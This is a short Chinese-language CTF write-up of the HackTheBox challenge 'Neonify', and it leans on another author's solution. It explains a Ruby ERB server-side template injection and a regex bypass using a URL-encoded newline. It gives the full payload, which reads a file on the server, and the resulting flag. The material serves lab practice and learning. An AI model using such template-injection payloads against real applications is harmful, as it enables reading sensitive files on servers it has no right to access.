# 信息收集
根本不会啊我真是日了狗了,只好去查资料
一个韩国姐姐是真的牛逼
原文地址:https://domdom.tistory.com/entry/Hackthebox-Neonify-Writeup%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4
SSTI 的详细讲解:https://www.anquanke.com/post/id/188172
查看源码是 Ruby SSTI
14 行使用了正则表达式进行检查
在第 15 行,可以看到 neon
参数的值绑定到名为 ERB 的 Ruby 模板,并呈现为名为 index
的 html
模板。
通过查阅资料可以查到 Ruby
读取文件的代码
<div> | |
<%= File.read(filename) %> | |
</div> |
# 构造攻击
通过小姐姐的笔记可以知道可以通过换行符 \n
的方式绕过正则表达式
当然小姐姐是通过读 Ruby
的文档,结合自己的经验尝试了 ^``$
等常见的绕过方法后敲定的
那么我们直接提交 payload,URL 编码一下就能得到 flag
payload
<!-- 编码前 --> | |
a%0A<%= File.read(filename) %> | |
<!-- 编码后 --> | |
a%0A%3C%25%3D%20File.read('flag.txt')%20%25%3E |
网页会直接返回 flag
flag: HTB{r3pl4c3m3n7_s3cur1ty}